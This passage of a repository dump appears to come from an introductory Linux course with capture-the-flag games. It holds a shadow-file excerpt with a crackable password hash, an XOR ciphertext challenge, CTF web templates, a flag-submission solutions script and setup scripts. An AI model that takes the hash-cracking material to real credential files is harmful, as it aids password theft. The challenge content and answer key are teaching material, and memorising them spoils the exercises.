22 | systemd-bus-proxy:*:16911:0:99999:7::: 23 | syslog:*:16911:0:99999:7::: 24 | _apt:*:16911:0:99999:7::: 25 | messagebus:*:16911:0:99999:7::: 26 | uuidd:*:16911:0:99999:7::: 27 | lightdm:*:16911:0:99999:7::: 28 | whoopsie:*:16911:0:99999:7::: 29 | avahi-autoipd:*:16911:0:99999:7::: 30 | avahi:*:16911:0:99999:7::: 31 | dnsmasq:*:16911:0:99999:7::: 32 | colord:*:16911:0:99999:7::: 33 | speech-dispatcher:!:16911:0:99999:7::: 34 | hplip:*:16911:0:99999:7::: 35 | kernoops:*:16911:0:99999:7::: 36 | pulse:*:16911:0:99999:7::: 37 | rtkit:*:16911:0:99999:7::: 38 | saned:*:16911:0:99999:7::: 39 | usbmux:*:16911:0:99999:7::: 40 | john:$6$orqBuwoD$dB9CYFYfqAk4gefmcv44sGAevTnHZ7Ui9/Y63Yhk4UzbI/cUdG0I3HOaj7SOAOmNT9h32IB.7/xFMXygigT1i0:17039:0:99999:7::: 41 | postgres:!:16918:0:99999:7::: 42 | postfix:*:16942:0:99999:7::: 43 | timidity:*:16949:0:99999:7::: 44 | bind:*:16961:0:99999:7::: 45 | mysql:!:17034:0:99999:7::: 46 | -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/second/nothinginthebox.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/second/nothinginthebox.zip -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/second/orchestra: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/second/orchestra -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/second/the_assumption_song.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/second/the_assumption_song.rar -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/second/woof64.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/second/woof64.jpg -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/second/woof64^10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/second/woof64^10.jpg -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/second/xor.txt: -------------------------------------------------------------------------------- 1 | 193637672c1e631b07450b301c017f1c191000330405111b0206531800090f2b29031c154807083b73342f2415630d0a00003a491a2c59011a1c3a2c5108520d41001c0c1e0f3a0208490107065d2c3c36062f1f633045091e7f0e06361d0a550b301056111a1e0e06130122022b50010c470a115d2c3c3635611e351c1009132c1d1a311e4f191b380d02291718411e11490c027f09031c1548110b30212f26320f2a1705451e360e1b2b200000007f0d1908174c161b11074e1337151e0c4701075d363c2f230815631407450b301c533c18015511300b100c1609361b11074e0930500307024f075d372a633e2e0e3159110c163a25162b590210523d00561c1d191353111f0b1533111f1d0e06135d393a242f35342b590004102645533c180152067f1c1910521f04163d1d49147f03040009011a1a75393634355b251610450b301c3f30170a191b31000516520512531b1f0b151b111e02470c150426732235245b3711100a07380127371c1652003a45020d000314141c250b137f1d0949050d54043a263167240d260b0e04012b001d3859031c1537112f0a071e4107060807097f170300090f541c22323a6727092c1442151336073f300f0a551b2c45020d174c021c15054e13371118490a091f182673372f2808630d10041b31490130150339172b451b00520e04530d061b157f151a0c1504150e213a2d2061172a1e0a113e3a1d53321c4f17177f1c1910004c0405111b02062c04050700481814323b371e2e0e315911101c7f1e1b3a174f011a3a1713451b1f411d1b070b2e781d4c08471b1c18253b2635255b251610450b301c32311d4f3c553309560207050516541001127f04041b081d1315193637672c1e631b07450b301c017f1c191000330405111b0206531800090f2b3c091d4705115d3736633e2e0e31590713172d05122c0d061b157f091f021a18381c011b4e0f301d09491000111375272b22331e631011451130051716174f18177f1c1910520f001d540a01093919080c30001113753d2c672e15265e11451026490a300c1d5501360113291718411e11490c027f09031c1548110b30212f26320f2a1705451e360e1b2b360755103e070f49520f001d531d4e1e30054c1a020d3d097220633429122d100c0252351c002b59091a007f1c19103e030f16180000022c034c0014481b0b302107263310631d031c017f08013a591b1d003010110d2604040a531b0b472b181e06120f1c313027632a245b211c421c1d2a1b533a0f0a071e3e16020c1c0b411f1d0e0613061f191b471c061c3c3d63202e122d1e4204053e1053390b0018522f041f0b3e03171654001d472b1809490407151175272b26355b2e180900017f1d1b360a4f01003e0c184500030d1f380c1a4732154c0b02480d1220216322371e31150316063607147f1506121a2b29131152010453160c4e1e30051e49021e110f39323033281524590e0c15371d2a300c1d55012a0b56121a090f5300010b153a50051a47061b13301a642a611a630a0a0002370c013b59091a007f1c1910330205533d4e020b7f171900030d54043a26633329092c0c050d3e3a1d53321c4f17177f1c1910004c0405111b02062c04050700481814323b370b240f63140745103a490a300c1d551729000409131f151a1a0e4e0b3617041d3e07010f753b2c2a245b3411070b522b01162d1c4f1c017f06190916250f53190c4e1e30054c0a0606541e3a3d252e251e1411070b5231065330170a52017f070f450b031401541a07033a3c091d4705115d3736633e2e0e31590713172d05122c0d061b157f091f021a182e1b540b0f05265c4c0a06065309752a2c326108261c2b11552c49003710011c1c38451c10011841151b1b4e1e30052006090d18143b363034611230590d13172d2d122d124f111326165604000941071c1b0112381838010211530f3073372f3314361e0a29172b491e3a590d1052260a03175209171606050f142b19020e47041d1a3d271a283409630d10041b31491430100112523e12171c520a131c19491e06361e2006110d54142673372f245b20160309522b01122b590214193a1656111a051253001b0f0e31501e060b04381821732e22611926591b0a072d4916291c1d19132c111f0b154c0d1a13011a -------------------------------------------------------------------------------- /scavenger_hunt/templates/about.html: -------------------------------------------------------------------------------- 1 | {% extends "base_page.html" %} 2 | {% block content %} 3 | 4 |

About

5 | 6 | {% if app_about %} 7 | {{ app_about | safe }} 8 | {% endif %} 9 | 10 | {% endblock %} -------------------------------------------------------------------------------- /scavenger_hunt/templates/base_page.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {{ app_title }} 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 |

{{ app_title }}

16 | 17 | 28 | 29 | {% if session.logged_in %} 30 |
31 | {{ session.username }} | {{ session.score }} pts 32 |
33 | {% endif %} 34 | 35 |
{% if success %}{{ success }}{% endif %}
36 |
{% if error %}{{ error }}{% endif %}
37 |
{% if message %}{{ message }}{% endif %}
38 | 39 | 40 | {% for message in get_flashed_messages() %} 41 |
{{ message }}
42 | {% endfor %} 43 | 44 |
45 | 46 | {% block content %} 47 | 48 | {% endblock %} 49 |
50 |
51 | 52 | -------------------------------------------------------------------------------- /scavenger_hunt/templates/challenges.html: -------------------------------------------------------------------------------- 1 | {% extends "base_page.html" %} 2 | {% block content %} 3 | 4 |

Tasks

5 | 6 | {% if challenges %} 7 |
8 | {% for challenge in challenges %} 9 |
10 | 11 |

{{ challenge.title | safe }} {{ challenge.points }}

12 | 13 |
14 |

15 | {{ challenge.prompt | safe }} 16 |

17 | {% if challenge.downloadable_files %} 18 | 23 | {% endif %} 24 | 25 | 26 | 27 | 28 |
29 |
30 | 31 | {% endfor %} 32 |
33 | {% endif %} 34 | 35 | 36 | 45 | 46 | {% endblock %} -------------------------------------------------------------------------------- /scavenger_hunt/templates/login.html: -------------------------------------------------------------------------------- 1 | {% extends "base_page.html" %} 2 | {% block content %} 3 | 4 |

Login

5 | 6 |

7 | Please log in with a registered username. 8 |

9 |

10 | Note that the username field is case-sensitive. 11 |

12 | 13 |
14 |
15 | Username: 16 | Password: 17 | 18 |
19 | 20 | {% endblock %} -------------------------------------------------------------------------------- /scavenger_hunt/templates/register.html: -------------------------------------------------------------------------------- 1 | {% extends "base_page.html" %} 2 | {% block content %} 3 | 4 |

Register

5 | 6 |

7 | Please register the username and password you would like to log in with. 8 |

9 |

10 | Do not use a password you use for other webites. Your password is stored in the database as a SHA256 hash, and it is still passed to the server over a secure HTTPS connection, but the next line of defense is for you, the user, to never use synchronized passwords. 11 |

12 |
13 | 14 |
15 | Username: 16 | Password: 17 | Confirm Password: 18 | 19 |
20 | 21 | {% endblock %} -------------------------------------------------------------------------------- /scavenger_hunt/templates/scoreboard.html: -------------------------------------------------------------------------------- 1 | {% extends "base_page.html" %} 2 | {% block content %} 3 | 4 |

The Scoreboard

5 | 6 |

7 | How do you stack up against the other players? 8 |

9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 28 | 29 | {% for user in users %} 30 | 31 | 32 | 33 | 34 | 35 | {% endfor %} 36 |
Place Name Score
   {{ loop.index }} {{ user["username"] }}     {{ user[ "score" ] }}
37 | {% endblock %} -------------------------------------------------------------------------------- /scripting/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm -f server.py certificate.crt privateKey.key commit_hashes.txt program_names.txt 4 | -------------------------------------------------------------------------------- /scripting/minutehash: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scripting/minutehash -------------------------------------------------------------------------------- /scripting/minutehash_source_code/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ minutehash.cpp sha1.cpp -o minutehash 3 | 4 | clean: 5 | rm minutehash 6 | -------------------------------------------------------------------------------- /scripting/minutehash_source_code/minutehash: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scripting/minutehash_source_code/minutehash -------------------------------------------------------------------------------- /scripting/minutehash_source_code/minutehash.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * @Author: John Hammond 3 | * @Date: 2016-10-20 08:38:34 4 | * @Last Modified by: John Hammond 5 | * @Last Modified time: 2016-10-20 14:40:04 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include "sha1.h" 12 | #define SIZE_OF_BUFFER 8 13 | 14 | using namespace std; 15 | 16 | int main( int argc, char *argv[] ){ 17 | 18 | time_t raw_time; 19 | struct tm * timeinfo; 20 | char buffer[SIZE_OF_BUFFER]; 21 | 22 | time( &raw_time ); 23 | timeinfo = localtime(&raw_time); 24 | 25 | // This gets the current minute as a string... (like 02:34PM) 26 | strftime(buffer, SIZE_OF_BUFFER, "%I:%M%p", timeinfo ); 27 | 28 | // This adds on to the filename the current minute... 29 | strcat(argv[0], buffer); 30 | 31 | cout << sha1(argv[0]) << endl; 32 | 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /scripting/minutehash_source_code/sha1.h: -------------------------------------------------------------------------------- 1 | /* 2 | sha1.h - header of 3 | 4 | ============ 5 | SHA-1 in C++ 6 | ============ 7 | 8 | 100% Public Domain. 9 | 10 | Original C Code 11 | -- Steve Reid 12 | Small changes to fit into bglibs 13 | -- Bruce Guenter 14 | Translation to simpler C++ Code 15 | -- Volker Grabsch 16 | */ 17 | 18 | #ifndef SHA1_HPP 19 | #define SHA1_HPP 20 | 21 | 22 | #include 23 | #include 24 | 25 | class SHA1 26 | { 27 | public: 28 | SHA1(); 29 | void update(const std::string &s); 30 | void update(std::istream &is); 31 | std::string final(); 32 | static std::string from_file(const std::string &filename); 33 | 34 | private: 35 | typedef unsigned long int uint32; /* just needs to be at least 32bit */ 36 | typedef unsigned long long uint64; /* just needs to be at least 64bit */ 37 | 38 | static const unsigned int DIGEST_INTS = 5; /* number of 32bit integers per SHA1 digest */ 39 | static const unsigned int BLOCK_INTS = 16; /* number of 32bit integers per SHA1 block */ 40 | static const unsigned int BLOCK_BYTES = BLOCK_INTS * 4; 41 | 42 | uint32 digest[DIGEST_INTS]; 43 | std::string buffer; 44 | uint64 transforms; 45 | 46 | void reset(); 47 | void transform(uint32 block[BLOCK_BYTES]); 48 | 49 | static void buffer_to_block(const std::string &buffer, uint32 block[BLOCK_BYTES]); 50 | static void read(std::istream &is, std::string &s, int max); 51 | }; 52 | 53 | std::string sha1(const std::string &string); 54 | 55 | 56 | 57 | #endif /* SHA1_HPP */ -------------------------------------------------------------------------------- /scripting/schema.sql: -------------------------------------------------------------------------------- 1 | drop table if exists users; 2 | create table users ( 3 | id integer primary key autoincrement, 4 | username text not null, 5 | password text not null, 6 | solved_challenges text not null, 7 | score integer not null, 8 | last_submission integer not null, 9 | uuid text not null 10 | ); 11 | -------------------------------------------------------------------------------- /scripting/services.json: -------------------------------------------------------------------------------- 1 | { 2 | "app_title" : "Scripting Playground", 3 | 4 | "app_navigation_logged_out": { 5 | "About": "/about", 6 | "Scoreboard": "/scoreboard", 7 | "Login": "/login", 8 | "Register": "/register" }, 9 | 10 | "app_navigation_logged_in": { 11 | 12 | "Submit a Flag": "/challenges", 13 | "About": "/about", 14 | "Scoreboard": "/scoreboard", 15 | "Log Out": "/logout" 16 | }, 17 | 18 | "app_about": " 19 |

20 | The idea behind this Scripting Playground is to use git as a vessel to teach bash scripting. In some commits, there is an executable file, that once run, will yield a flag based off of the current time. The goal is to write a script that will run through each commit, run each program, and submit each flag -- each minute. 21 |

22 |

23 | This could be done by hand of course, but it would be tedious and not very fruitful in regard to the game. So, the more you can script, the more you win! 24 |

25 |

Good luck and have fun!

26 | ", 27 | 28 | "services": [ 29 | { 30 | "title": "A New github Repository", 31 | "description": " 32 | This repository contains an executable that will give you a flag. 33 | In each commit there is another executable, and even the commit SHA1 hashes themselves 34 | are flags you can submit for points. 35 | ", 36 | "points" : 10 37 | } 38 | ] 39 | } 40 | -------------------------------------------------------------------------------- /scripting/solutions.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function submit_flag(){ 4 | 5 | # THE CURL COMMAND FOR THIS WILL VARY 6 | # SINCE THE uuid OF THE USER WILL BE GENERATED 7 | # BY THE SERVER 8 | curl -k "http://localhost:444/submit" --data "uuid=9644903a-bab2-4eb9-b0b3-d83c7a65c305&flag=$1" 9 | 10 | } 11 | 12 | function clone_repo(){ 13 | git clone "https://github.com/JohnHammond/scripting_playground" 14 | cd scripting_playground 15 | } 16 | 17 | function submit_commit_hashes(){ 18 | git rev-list --remotes | while read line 19 | do 20 | submit_flag $line 21 | done 22 | } 23 | 24 | function submit_all_programs(){ 25 | 26 | git rev-list --remotes | while read line 27 | do 28 | git checkout $line > /dev/null 2>&1 29 | program_name=`ls | grep -v README.md` 30 | ./$program_name 31 | 32 | done | while read line 33 | do 34 | submit_flag "$line" 35 | done 36 | } 37 | 38 | clone_repo 39 | 40 | submit_commit_hashes 41 | submit_all_programs 42 | 43 | 44 | cd .. 45 | rm -rf scripting_playground 46 | 47 | # And you could then loop the submission to get flags every minute.. 48 | #while [ 1 ]; 49 | #do 50 | # sleep 60 51 | #done 52 | -------------------------------------------------------------------------------- /scripting/static/control.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function(){ 2 | 3 | $('input').first().focus(); 4 | 5 | show_messages('.error'); 6 | show_messages('.message'); 7 | show_messages('.success'); 8 | 9 | $('.challenge_title').click(function(){ 10 | 11 | $(this).next().slideToggle(); 12 | 13 | }); 14 | }); 15 | 16 | function check_answer( challenge_id ){ 17 | 18 | var given_answer = $('#'+challenge_id+' input[name="answer"]').val(); 19 | 20 | $.ajax( 21 | { url:"/check_answer", 22 | method: "POST", 23 | data: { 24 | "challenge_id": challenge_id, 25 | "answer": given_answer 26 | }, 27 | dataType: "json", 28 | 29 | success:(function(response){ 30 | 31 | if ( response['correct'] == 1){ 32 | var new_score = response['new_score']; 33 | 34 | say_correct( new_score ); 35 | correct_challenge( challenge_id ); 36 | //$('#'+ challenge_id + ' #challenge_body').slideUp(); 37 | 38 | } 39 | if ( response['correct'] == 0){ 40 | $.notify('Incorrect!', 'error'); 41 | // say_wrong(); 42 | } 43 | if ( response['correct'] == -1){ 44 | $.notify('You have already submitted this flag!', 'warn'); 45 | //say_already(); 46 | } 47 | })}); 48 | 49 | return false; 50 | }; 51 | 52 | function say_correct( new_score ){ 53 | 54 | // $('.success').text("You are correct! Nice work!"); 55 | // show_message('success'); 56 | 57 | $.notify('You are correct! Nice work!', 'success'); 58 | 59 | $('#score').text( String(new_score) ); 60 | 61 | } 62 | 63 | function correct_challenge(challenge_id){ 64 | 65 | // Flash green 66 | 67 | 68 | $("#" + challenge_id + " h3").animate({ 69 | 'background-color': '#eeFFee', 70 | 'color': '#348017', 71 | 'border': '1px solid #254117;' 72 | }, 500, function(){ 73 | 74 | $("#" + challenge_id + " h3").animate({ 75 | 'background-color': '#fbfbfb', 76 | 'color': '#585858', 77 | 'border': '1px solid #eaeaea;' 78 | }, 3000, function(){} 79 | )}); 80 | } 81 | 82 | function say_wrong(){ 83 | 84 | $('.error').text("Incorrect!"); 85 | show_message('error'); 86 | } 87 | 88 | 89 | function say_already(){ 90 | 91 | $('.message').text("You have already submitted this flag!"); 92 | show_message('message'); 93 | } 94 | 95 | function show_message(name){ 96 | 97 | $('.' + name).slideDown(); 98 | 99 | window.setTimeout( hide_messages, 2000 ); 100 | } 101 | 102 | function show_messages(name){ 103 | 104 | if ( $(name).text() != '' ){ 105 | show_message(name.slice(1)); 106 | } 107 | 108 | } 109 | 110 | function hide_messages( ){ 111 | 112 | $('.message').slideUp(); 113 | $('.error').slideUp(); 114 | $('.success').slideUp(); 115 | } -------------------------------------------------------------------------------- /scripting/static/downloads/downloadable_file.txt~: -------------------------------------------------------------------------------- 1 | 2 | 3 | Put any downloadable files in this directory! 4 | 5 | /static/downloads 6 | -------------------------------------------------------------------------------- /scripting/templates/about.html: -------------------------------------------------------------------------------- 1 | {% extends "base_page.html" %} 2 | {% block content %} 3 | 4 |

About

5 | 6 | {% if app_about %} 7 | {{ app_about | safe }} 8 | {% endif %} 9 | 10 | {% endblock %} -------------------------------------------------------------------------------- /scripting/templates/base_page.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {{ app_title }} 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |

{{ app_title }}

17 | 18 | 29 | 30 | {% if session.logged_in %} 31 |
32 | {{ session.username }} | {{ session.score }} pts 33 |
34 | {% endif %} 35 | 36 |
{% if success %}{{ success }}{% endif %}
37 |
{% if error %}{{ error }}{% endif %}
38 |
{% if message %}{{ message }}{% endif %}
39 | 40 | 41 | {% for message in get_flashed_messages() %} 42 |
{{ message }}
43 | {% endfor %} 44 | 45 |
46 | 47 | {% block content %} 48 | 49 | {% endblock %} 50 |
51 |
52 | 53 | -------------------------------------------------------------------------------- /scripting/templates/challenges.html: -------------------------------------------------------------------------------- 1 | {% extends "base_page.html" %} 2 | {% block content %} 3 | 4 |

Services

5 | 6 |
7 |
8 |

Submit a Flag

9 | 10 |
11 | {% if challenges %} 12 | 13 |

The running services are...

14 | 15 | {% for challenge in challenges %} 16 | 17 |

18 | {{ challenge.title | safe }} ( {{ challenge.points }} pts ): 19 | 20 | {{ challenge.description | safe }} 21 | 22 |

23 | 24 | {% endfor %} 25 | {% endif %} 26 | 27 |

Submit by the command-line via...

28 | 29 |
30 | 							curl -k "{{ url }}submit" --data "uuid={{session_value}}&flag=<FLAG>"
31 | 						
32 | 33 | 34 | 35 | 36 |
37 |
38 |
39 | {% endblock %} -------------------------------------------------------------------------------- /scripting/templates/login.html: -------------------------------------------------------------------------------- 1 | {% extends "base_page.html" %} 2 | {% block content %} 3 | 4 |

Login

5 | 6 |

7 | Please log in with a registered username. 8 |

9 |

10 | Note that the username field is case-sensitive. 11 |

12 | 13 |
14 |
15 | Username: 16 | Password: 17 | 18 |
19 | 20 | {% endblock %} -------------------------------------------------------------------------------- /scripting/templates/register.html: -------------------------------------------------------------------------------- 1 | {% extends "base_page.html" %} 2 | {% block content %} 3 | 4 |

Register

5 | 6 |

7 | Please register the username and password you would like to log in with. 8 |

9 |

10 | Do not use a password you use for other webites. Your password is stored in the database as a SHA256 hash, and it is still passed to the server over a secure HTTPS connection, but the next line of defense is for you, the user, to never use synchronized passwords. 11 |

12 |
13 | 14 |
15 | Username: 16 | Password: 17 | Confirm Password: 18 | 19 |
20 | 21 | {% endblock %} -------------------------------------------------------------------------------- /scripting/templates/scoreboard.html: -------------------------------------------------------------------------------- 1 | {% extends "base_page.html" %} 2 | {% block content %} 3 | 4 |

The Scoreboard

5 | 6 |

7 | How do you stack up against the other players? 8 |

9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 28 | 29 | {% for user in users %} 30 | 31 | 32 | 33 | 34 | 35 | {% endfor %} 36 |
Place Name Score
   {{ loop.index }} {{ user["username"] }}     {{ user[ "score" ] }}
37 | {% endblock %} -------------------------------------------------------------------------------- /scripting/templates/stylesheet.css: -------------------------------------------------------------------------------- 1 | html, body{ 2 | font-family: "Helvetica"; 3 | height: 100%; 4 | 5 | background-color: #ededef; 6 | color: #585858; 7 | } 8 | #page{ 9 | 10 | max-width: 900px; 11 | min-height: 80%; 12 | background-color: white; 13 | margin-left: auto; 14 | margin-right: auto; 15 | border-radius: 10px; 16 | box-shadow: 0px 0px 20px silver; 17 | 18 | } 19 | 20 | h1{ 21 | padding: 20px; 22 | 23 | margin: 30px; 24 | font-size: 240%; 25 | } 26 | 27 | .navigation{ 28 | 29 | width: 95.7%; 30 | list-style: none; 31 | 32 | margin: -25px 20px; 33 | 34 | margin-left: auto; 35 | margin-right: auto; 36 | height: 35px; 37 | border-bottom: 1px solid silver; 38 | vertical-align: middle; 39 | background: #1e5799; 40 | background: -moz-linear-gradient(top, #1e5799 0%, #207cca 47%, #2989d8 84%, #7db9e8 100%); 41 | background: -webkit-linear-gradient(top, #1e5799 0%,#207cca 47%,#2989d8 84%,#7db9e8 100%); 42 | background: linear-gradient(to bottom, #1e5799 0%,#207cca 47%,#2989d8 84%,#7db9e8 100%); 43 | filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#1e5799', endColorstr='#7db9e8',GradientType=0 ); 44 | border-bottom: 2px solid #eaeaea; 45 | } 46 | 47 | .navigation li{ 48 | min-width: 100px; 49 | 50 | display: inline-block; 51 | text-align: center; 52 | vertical-align: middle; 53 | margin: 6px; 54 | 55 | } 56 | .navigation li:hover{ 57 | text-shadow: 0px 0px 10px black; 58 | } 59 | 60 | .navigation a{ 61 | 62 | color: white; 63 | text-shadow: 0px 0px 5px black; 64 | text-transform: uppercase; 65 | font-weight: bold; 66 | font-size: 20px; 67 | 68 | text-decoration: none; 69 | vertical-align: middle; 70 | } 71 | 72 | #challenges{ 73 | 74 | border: 1px solid #eaeafa; 75 | border-radius: 5px; 76 | padding: 20px; 77 | margin-top: 50px; 78 | width: 700px; 79 | margin-left: auto; 80 | margin-right: auto; 81 | box-shadow: 0px 0px 30px #eaeaea; 82 | } 83 | input{ 84 | border: 1px solid silver; 85 | border-radius: 3px; 86 | font-size: 20px; 87 | width: 95%; 88 | padding: 0px 0px; 89 | margin: 10px; 90 | } 91 | 92 | .challenge{ 93 | 94 | border: 1px solid #eaeaea; 95 | padding: 10px; 96 | margin-bottom:10px; 97 | } 98 | .challenge h2{ 99 | 100 | border: 1px solid #eaeaea; 101 | padding: 5px; 102 | margin:-11px; 103 | 104 | background-color: #fbfbfb; 105 | margin-bottom: 30px 106 | 107 | } 108 | -------------------------------------------------------------------------------- /setup/README.md: -------------------------------------------------------------------------------- 1 | Setting up for "Intro to Linux" 2 | ======================== 3 | 4 | > John Hammond | Friday, August 18th 2016 5 | 6 | --------------------------------------------------------- 7 | 8 | This directory is to house and document all the files made and processes to prepare for and set up the 2016 "Intro to Linux" course. This pretty much consists of ... 9 | 10 | * Flashing the [MicroSD] cards with the [Raspbian][Raspbian] [operating system]. 11 | * Creating a [github] repository for each individual student. 12 | 13 | 14 | 15 | Files & Directory Information 16 | -------------- 17 | 18 | * [`build_raspbian.sh`](build_raspbian.sh) 19 | 20 | This is a simple [`bash`][bash] script that bundles the instructions given to [flash Raspbian on a MicroSD from Linux](https://www.raspberrypi.org/documentation/installation/installing-images/linux.md). It checks to see if there is the [`.img`][IMG] file in the current directory (__`2016-05-27-raspbian-jessie.img`__ at the time of writing, the most recent version) -- if it does not see it, it will download it and continue. 21 | 22 | 23 | [MicroSD]: https://en.wikipedia.org/wiki/MicroSD 24 | [Raspbian]: https://www.raspberrypi.org/downloads/raspbian/ 25 | [operating system]: https://en.wikipedia.org/wiki/Operating_system 26 | [operating systems]: https://en.wikipedia.org/wiki/Operating_system 27 | [github]: https://github.com/ 28 | [bash]: https://en.wikipedia.org/wiki/Bash_(Unix_shell) 29 | [IMG]: https://en.wikipedia.org/wiki/IMG_(file_format) -------------------------------------------------------------------------------- /setup/build_raspbian.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | RASPBIAN_FILENAME="2016-05-27-raspbian-jessie.img" 4 | MICROSD_DEVICE="/dev/mmcblk0" 5 | 6 | # Check to see any microSD cards. If you see any, umount them 7 | df -h |grep "$MICROSD_DEVICE"|cut -d " " -f1|while read line; do umount $line; done 8 | 9 | # Do we have the IMG file? 10 | if [ -e "$RASPBIAN_FILENAME" ] 11 | then 12 | # If we do, start to burn it to the MicroSD card. 13 | dd bs=4M if="$RASPBIAN_FILENAME" of="$MICROSD_DEVICE" 14 | else 15 | # If not, do we have the zip file? 16 | if [ -e "${RASPBIAN_FILENAME/.img/.zip}" ] 17 | then 18 | # If we do, unzip the zip file. 19 | unzip "${RASPBIAN_FILENAME/.img/.zip}" 20 | # If we do, start to burn it to the MicroSD card. 21 | dd bs=4M if="$RASPBIAN_FILENAME" of="$MICROSD_DEVICE" 22 | else 23 | # If not, download the zip file. 24 | wget "https://downloads.raspberrypi.org/raspbian_latest" 25 | # unzip it. 26 | unzip "${RASPBIAN_FILENAME/.img/.zip}" 27 | # flash the drive 28 | dd bs=4M if="$RASPBIAN_FILENAME" of="$MICROSD_DEVICE" 29 | fi 30 | 31 | fi 32 | 33 | 34 | -------------------------------------------------------------------------------- /training_wheels/_developer_/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/training_wheels/_developer_/README.md -------------------------------------------------------------------------------- /training_wheels/_developer_/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # @Author: John Hammond 3 | # @Date: 2016-08-28 15:08:22 4 | # @Last Modified by: John Hammond 5 | # @Last Modified time: 2016-08-28 15:31:15 6 | 7 | 8 | # Colors for good display... 9 | BLACK=`tput setaf 0` 10 | RED=`tput setaf 1` 11 | GREEN=`tput setaf 2` 12 | YELLOW=`tput setaf 3` 13 | BLUE=`tput setaf 6` 14 | RESET=`tput sgr0` 15 | 16 | 17 | DEPENDENCIES="nodejs-legacy npm" 18 | 19 | function install_dependencies(){ 20 | 21 | echo "${FUNCNAME}:${GREEN} installing nodejs and npm...${RESET}" 22 | 23 | apt-get -y install $DEPENDENCIES || fatal_error 24 | } 25 | 26 | function install_hjson(){ 27 | 28 | echo "${FUNCNAME}:${GREEN} installing hjson with npm...${RESET}" 29 | npm install hjson -g 30 | } 31 | 32 | function fatal_error(){ 33 | 34 | echo "${FUNCNAME}:${RED} aborting...${RESET}" 35 | exit -1 36 | } 37 | 38 | function main(){ 39 | 40 | echo "${BLUE} This script will install the dependencies that you should have" 41 | echo "${BLUE} to develop for the Training Wheels shell." 42 | echo -e "${BLUE} It is really just for convenience sake of using HJSON.\n ${RESET}" 43 | 44 | install_dependencies 45 | 46 | install_hjson 47 | 48 | } 49 | 50 | if [ "$UID" != "0" ] 51 | then 52 | echo "You must be root to run this script!" 53 | fatal_error 54 | fi 55 | 56 | 57 | main $@ -------------------------------------------------------------------------------- /training_wheels/colors/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: John Hammond 3 | # @Date: 2016-08-24 23:44:07 4 | # @Last Modified by: John Hammond 5 | # @Last Modified time: 2016-08-24 23:47:17 6 | 7 | ''' 8 | This file must exist for Python to recognize this folder 9 | as an importable "Python package". 10 | ''' -------------------------------------------------------------------------------- /training_wheels/colors/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/training_wheels/colors/__init__.pyc -------------------------------------------------------------------------------- /training_wheels/colors/colors.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Author: john 4 | # @Date: 2016-08-13 23:48:50 5 | # @Last Modified by: John Hammond 6 | # @Last Modified time: 2016-09-30 22:14:21 7 | 8 | 9 | from colorama import * 10 | 11 | # These are meant to be shorthand function calls to quickly turn a string 12 | # into something with color. 13 | 14 | def G(string): return Fore.GREEN + Style.BRIGHT + string + Fore.RESET + Style.NORMAL 15 | def g(string): return Fore.GREEN + string + Fore.RESET 16 | def B(string): return Fore.BLUE + Style.BRIGHT + string + Fore.RESET + Style.NORMAL 17 | def b(string): return Fore.BLUE + string + Fore.RESET 18 | def R(string): return Fore.RED + Style.BRIGHT + string + Fore.RESET + Style.NORMAL 19 | def r(string): return Fore.RED + string + Fore.RESET 20 | def Y(string): return Fore.YELLOW + Style.BRIGHT + string + Fore.RESET + Style.NORMAL 21 | def y(string): return Fore.YELLOW + string + Fore.RESET 22 | def M(string): return Fore.MAGENTA + Style.BRIGHT + string + Fore.RESET + Style.NORMAL 23 | def m(string): return Fore.MAGENTA + string + Fore.RESET 24 | def C(string): return Fore.CYAN + Style.BRIGHT + string + Fore.RESET + 